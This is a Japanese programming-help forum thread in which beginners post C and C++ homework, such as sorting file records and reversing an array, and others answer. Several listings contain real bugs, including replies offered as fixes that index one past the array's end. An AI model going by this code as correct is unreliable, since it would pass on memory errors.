struct _hoge{ struct _hoge *next,*prev; double num; char name[15];}; // 名簿用 // メイン関数 int main() { FILE *readfp, writefp; // 読み込み用と、書き込み用 struct _hoge Hoge_start; // 名簿用の起点 struct _hoge Hoge_tmp1, Hoge_tmp2; // 一時的使用 if (!(readfp = fopen("input.txt", "r")) // ファイルオープン失敗なら終了 return 1; if (!(writefp = fopen("output.txt", "w")) // ファイル作成失敗なら終了 return 1; Hoge_start.next = Hoge_start.prev = NULL; // 初期化 Hoge_tmp1 = &Hoge_start; while (!feof(readfp)) { // 読み込みを開始する Hoge_tmp1->next = Hoge_tmp2 = (struct _tmp*) malloc (sizeof (struct _hoge)); // 新ノード Hoge_tmp2->prev = Hoge_tmp1; Hoge_tmp1 = Hoge_tmp1->next; Hoge_tmp1->next = NULL; // 初期化 fscanf (readfp, "%f %s", Hoge_tmp1->num, Hoge_tmp1->name); // 読み込み } fclose (readfp);//ファイルクローズ for (Hoge_tmp1 = Hoge_start.next; Hoge_tmp1; Hoge_tmp1 = Hoge_tmp1->next) // 並び替え for (Hoge_tmp2 = Hoge_tmp1->next; Hoge_tmp2; Hoge_tmp2 = Hoge_tmp2->next) if (Hoge_tmp2->num < Hoge_tmp1->num){ Hoge_tmp2->prev->next = Hoge_tmp2->next; if (Hoge_tmp2->next) Hoge_tmp2->next->prev = Hoge_tmp2->prev; // 次ノードがヌル Hoge_tmp1->prev->next = Hoge_tmp2; Hoge_tmp1->prev = Hoge_tmp2; // Hoge_tmp1 の前後 Hoge_tmp2->prev = Hoge_tmp1->prev; Hoge_tmp2->next = Hoge_tmp1; // Hoge_tmp2 の前後 } for (Hoge_tmp1 = Hoge_start.next; Hoge_tmp1; Hoge_tmp1 = Hoge_tmp1->next) // ファイルの書き込み fprintf(writefp,"%f %s\n",Hoge_tmp1->num, Hoge_tmp1->name); fclose (writefp); 書き込み用ファイルを閉じる return 0; }
>>957 >>961 です。
遅くなりましたが、これでどうでしょうか?
ちなみに標準入出力ヘッダーファイル読んでないので先頭に
#include <stdio.h>と入れてください
>>957 #include <iostream>
#include <fstream>
#include <list>
#include <string>
using namespace std;
struct record_t {
float num; string name;
int operator<(record_t& any_one){ return this->num < any_one.num; }
};
istream& operator>>(istream& is, record_t& rec) { is >> rec.num >> rec.name; return is; }
ostream& operator<<(ostream& os, const record_t& rec) { os << rec.num << " " << rec.name; return os; }
typedef list<record_t> db_t;
int main()
{
ifstream is("input.txt"); ofstream os("ouput.txt");
db_t db; record_t rec;
if(is && os){
while(is>>rec) db.push_back(rec);
db.sort();
for(db_t::iterator i = db.begin(); i != db.end(); i++) os << *i << endl;
}
return 0;
}
>>944 どーでもいいけど multiset だけじゃなくて set にも .second って使えるのね…知らなかった
>>948 考えたのですが、やっぱりわかりませぬ・・・・しくみが。
>>966 悪いことは言わないから標準関数使おうな、な
自分で関数を使うこだわりというか意味でもあるの?
あるなら何か教えてほしい、というか無いなら標準かんs(ry
>>967 ・・・・問題のところに、「条件でatoiを使わないでつくれ」
かいているのですよ・・・・
かいてなかったら、とっくに使ってますよ・・・・・・_| ̄|○
>>968 なるほどね。次からは初めから言ってください
↑のソースだとオーバーフローするみたいなので、 c <= 9 と直して9桁以下にしてね
(0,1,,2,3,,4,5,,6,7,8)←ポインタアドレス0が先頭
s |1|2|3|4|5|6|7|8|9|\0| <=実際に入ってる数
__
s |1|2|3|4|5|6|7|8|9| <= マズ1を見る
参照してる数字 = 1
result = 1;
__
s |1|2|3|4|5|6|7|8|9| <= 2を見る
参照してる数字 = 2
result = 12;
と続いていき9桁までいくか文字列の最後までいったら result を返します
>>968 =936
お前の書き方が悪い。逝って来い。
>>1 をヨメ!!
>【注意点】
>・問題はしっかり分かりやすく書きましょう。
> 全文を書いてしまうか、分かりやすくまとめましょう。
次スレ立ててきます
#include <stdio.h> void gyaku(int x, int i, int str[], int cnt[]) { cnt[x - i] = str[i]; } int main(void) { int i, x, str[255], cnt[255]; printf("要素数:"); scanf("%d", &x); for (i = 0; i < x; i++){ printf("%d:", i + 1); scanf("%d", &str[i]); } for (i = 0; i < x; i++){ printf("%d\n", cnt[i]); } return(0); } 整数型の配列と、その配列の要素数を引数としてとり、その配列を逆順に出力 する関数を作成せよ。 と言う問題なのですが、上記のプログラムではいけないのでしょうか? 858993460が何個も出力されるんです。。。 どこがいけないでしょうか?
>>976 のgyaku()を reverse() にするとかっこええかも
>>976 あのさぁ、、、、、どこでgyaku()を呼んでいるのよ!?
gyakuって何処でよばれてるの?
あのすいません、voidの関数を作るのは初めてで、どこで呼ぶとかが 分からないんです。。。 教えていただけないでしょうか?
>>983 まずはgyakuを書き直して配列の要素を逆順に並べ替えるものにした方がいいぞ。
それを出力するためのループの前に呼ぶ。
>>983 void は値を返さない関数なだけだよ。
で、普通の関数と同じで特別視する必要はないから
#include <stdio.h>
void gyaku(int x, int str[], int cnt[]);
// メイン関数
int main(void)
{
int i, x, str[255], cnt[255];
printf("要素数:");
scanf("%d", &x);
for (i = 0; i < x; i++){
printf("%d:", i + 1);
scanf("%d", &str[i]);
}
gyaku (x, str, cnt);
for (i = 0; i < x; i++){
printf("%d\n", cnt[i]);
}
return 1;
}
void gyaku(int x, int str[], int cnt[])
{
int i;
for (i = 0; i < x; i++)
cnt[x - i] = str[i];
}
こんな感じかな /* 要素数n個の配列を逆に並べ替える */ void gyaku(int *a,int n) { int i,tmp; n--; for(i=0;i<n;i++,n--) tmp=a[i],a[i]=a[n],a[n]=tmp; }
あ・・・こっちも重複。まあいいか。
>>988 まぁ、ちょびっと違うからいいよね^^(と勝手に
void関数を作るのは初めてで、作った関数をどう呼べばいいのかわからないです。 教えて頂けないでしょうか?
#include <stdio.h> void gyaku(int x, int str[], int cnt[]); // メイン関数 int main(void) { int i, x, str[255], cnt[255]; // 作業用変数 printf("要素数:"); scanf("%d", &x); // 要素の数を取得 for (i = 0; i < x; i++){ // 要素の入力 printf("%d:", i + 1); scanf("%d", &str[i]); } gyaku (x, str, cnt); // 要素の並び替え for (i = 0; i < x; i++){ // 新・要素の表示 printf("%d\n", cnt[i]); } return 1; /* 正常終了 */ } // 要素の並び替え void gyaku(int x, int str[], int cnt[]) { int i; for (i = 0; i < x; i++) // 後ろから順に前に入れる cnt[x - i] = str[i]; }
ソースから嫁
995 :
デフォルトの名無しさん :03/11/16 12:11
記念カキコ v(^-^*)
>>994 ごめん、ソコ見てなかった。ところで、mainは0で終了だけど他の関数はTRUEが終了なのはなんで?(って初心的な質問ごめん。雑談程度によろしくお願いします
1000は誰が取るんだ?
俺じゃないな。
うんこ
ちんこ
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。